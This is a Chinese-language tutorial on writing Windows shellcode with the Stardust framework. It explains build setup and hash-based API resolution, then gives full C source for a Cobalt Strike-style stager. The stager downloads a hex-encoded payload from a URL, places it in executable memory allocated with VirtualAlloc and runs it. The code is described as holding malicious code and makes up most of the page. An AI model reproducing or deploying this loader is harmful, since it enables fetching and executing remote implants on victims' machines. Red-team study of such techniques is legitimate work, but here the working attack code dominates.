使用Stardust框架编写Shellcode
最后更新于
最后更新于
Stardust项目地址:https://github.com/Cracked5pider/Stardust/tree/main
Stardust是一款用于编写Shellcode的框架,使用MinGW G++
进行编译且依赖Linux环境,因此推荐使用VSCode来作为代码编辑器并搭配WSL的KaliLinux作为远程Linux系统。这样的好处是,当生成shellcode的二进制文件时,可以立马调用scripts目录的loader.exe来测试shellcode能否正常运行
Stardust项目的src目录用于存放源码文件,include目录存放头文件,而我们主要是在src目录的Main.c编写shellcode
在Main.c中,若要定义一个函数时,需要在其开头加上关键字FUNC
当需要调用Windows Api时,你先要在Common.h声明API函数和其所在Dll的名称,这里以MessageBoxW
为例
以下是使用Windows API的代码格式:
// resolve user32.dll related functions
//
if ((Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW(L"User32")))
{
if (!(Instance()->Win32.MessageBoxW = LdrFunction(Instance()->Modules.User32, HASH_STR("MessageBoxW"))))
{
return;
}
}
代码编写完成后在linux终端输入make命令进行编译
随后会在项目的bin目录生成raw文件(shellcode)
将raw文件移至script目录,在windows终端使用loader.x64.exe
来加载shellcode,以此测试是否成功
如下代码演示了如何编写CS Stager类型的shellcode,首先需要一个存放有stagerless类型的shellcode的url。其实从这段代码可以看出,在Main函数对win32api进行声明后就不用在其他函数再进行声明了,但是其他函数若要调用win32api,则需在其函数体内加上关键字STARDUST_INSTANCE
#include <Constexpr.h>
#include <Common.h>
FUNC unsigned char hexCharToByte(char character) {
STARDUST_INSTANCE
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
// 将十六进制字符串转换成字节型数组
FUNC void hexStringToBytes(const char* hexString, unsigned char* byteArray, int byteArraySize) {
STARDUST_INSTANCE
int i;
for (i = 0; i < byteArraySize * 2; i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
FUNC size_t GetUrl_HexContent(LPSTR url, unsigned char* buffer, size_t buffer_size) {
STARDUST_INSTANCE
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);
Instance()->Win32.printf("Downloading shellcode from %s\n", url);
// 打开一个与互联网的连接
hInternet = Instance()->Win32.InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Instance()->Win32.printf("InternetOpen failed. Error: %ld\n", Instance()->Win32.GetLastError());
return 0;
}
// 打开一个URL连接
hConnect = Instance()->Win32.InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Instance()->Win32.printf("InternetOpenUrlA failed. Error: %ld\n", Instance()->Win32.GetLastError());
Instance()->Win32.InternetCloseHandle(hInternet);
return 0;
}
// 查询HTTP响应头中的内容长度
Instance()->Win32.HttpQueryInfoA(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
unsigned char* hexBuffer = (unsigned char*)Instance()->Win32.malloc(contentLength + 1);
if (hexBuffer == NULL) {
Instance()->Win32.printf("Memory allocation failed.\n");
Instance()->Win32.InternetCloseHandle(hConnect);
Instance()->Win32.InternetCloseHandle(hInternet);
return 0;
}
// 读取URL返回的内容到hexBuffer中
if (!Instance()->Win32.InternetReadFile(hConnect, hexBuffer, contentLength, &bytesRead)){
Instance()->Win32.printf("InternetReadFile failed. Error: %ld\n", Instance()->Win32.GetLastError());
Instance()->Win32.free(hexBuffer);
Instance()->Win32.InternetCloseHandle(hConnect);
Instance()->Win32.InternetCloseHandle(hInternet);
return 0;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
size_t size = bytesRead / 2;
if (size > buffer_size) {
Instance()->Win32.printf("Buffer size too small.\n");
Instance()->Win32.free(hexBuffer);
Instance()->Win32.InternetCloseHandle(hConnect);
Instance()->Win32.InternetCloseHandle(hInternet);
return 0;
}
// 将十六进制字符串转换为字节型数组
hexStringToBytes((char*)hexBuffer, buffer, size);
}
// 关闭连接
Instance()->Win32.InternetCloseHandle(hConnect);
Instance()->Win32.InternetCloseHandle(hInternet);
Instance()->Win32.free(hexBuffer);
// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
return bytesRead / 2;
}
FUNC VOID test(){
STARDUST_INSTANCE
Instance()->Win32.printf("test\n");
}
FUNC VOID Main(
_In_ PVOID Param)
{
STARDUST_INSTANCE
PVOID Message = {0};
//
// resolve kernel32.dll related functions
//
if ((Instance()->Modules.Kernel32 = LdrModulePeb(H_MODULE_KERNEL32)))
{
if (!(Instance()->Win32.LoadLibraryW = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("LoadLibraryW"))))
{
return;
}
if (!(Instance()->Win32.GetLastError = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("GetLastError"))))
{
return;
}
if (!(Instance()->Win32.GetProcessHeap = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("GetProcessHeap"))))
{
return;
}
if (!(Instance()->Win32.VirtualAlloc = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("VirtualAlloc"))))
{
return;
}
}
//
// resolve user32.dll related functions
//
if ((Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW(L"User32")))
{
if (!(Instance()->Win32.MessageBoxW = LdrFunction(Instance()->Modules.User32, HASH_STR("MessageBoxW"))))
{
return;
}
if (!(Instance()->Win32.wsprintfW = LdrFunction(Instance()->Modules.User32, HASH_STR("wsprintfW"))))
{
return;
}
}
// resolve Winnet.dll related functions
if ((Instance()->Modules.Wininet = Instance()->Win32.LoadLibraryW(L"WININET")))
{
if (!(Instance()->Win32.InternetOpenA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetOpenA"))))
{
return 0;
}
if (!(Instance()->Win32.InternetOpenUrlA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetOpenUrlA"))))
{
return 0;
}
if (!(Instance()->Win32.InternetReadFile = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetReadFile"))))
{
return 0;
}
if (!(Instance()->Win32.HttpQueryInfoA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("HttpQueryInfoA"))))
{
return 0;
}
if (!(Instance()->Win32.InternetCloseHandle = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetCloseHandle"))))
{
return 0;
}
}
// resovle MSVCRT.dll related functions
if ((Instance()->Modules.MSVCRT = Instance()->Win32.LoadLibraryW(L"MSVCRT")))
{
if (!(Instance()->Win32.printf = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("printf"))))
{
return;
}
if (!(Instance()->Win32.free = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("free"))))
{
return;
}
if (!(Instance()->Win32.malloc = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("malloc"))))
{
return;
}
if (!(Instance()->Win32.memcpy = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("memcpy"))))
{
return;
}
}
//Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;
// 把这个URL换成你的shellcode文件的URL
const char* url = "http://127.0.0.1:7000/payload_x64.txt";
// 存放恶意代码的数组
size_t buffer_size = 320000; // 设定缓冲区大小
unsigned char* buffer = (unsigned char*)Instance()->Win32.malloc(buffer_size);
if (buffer == NULL) {
Instance()->Win32.printf("Memory allocation failed.\n");
return 1;
}
// 获取远程url的16进制内容,并将其存放至buffer数组
size_t size = GetUrl_HexContent((LPSTR)url, buffer, buffer_size);
//打印buffer数组的前1000个字节
for (int i = 0; i < 1000; i++) {
Instance()->Win32.printf("%02x ", buffer[i]);
}
if (size == 0) {
Instance()->Win32.printf("Failed to get hex content from URL.\n");
Instance()->Win32.free(buffer);
return 1;
}
// 在内存中分配一块可以执行的区域
char* exec = Instance()->Win32.VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec == NULL) {
Instance()->Win32.printf("VirtualAlloc failed. Error: %ld\n", Instance()->Win32.GetLastError());
Instance()->Win32.free(buffer);
return 1;
}
// 将shellcode复制到该区域
Instance()->Win32.memcpy(exec, buffer, size);
// 执行该shellcode
((void(*)())exec)();
Instance()->Win32.free(buffer);
return;
}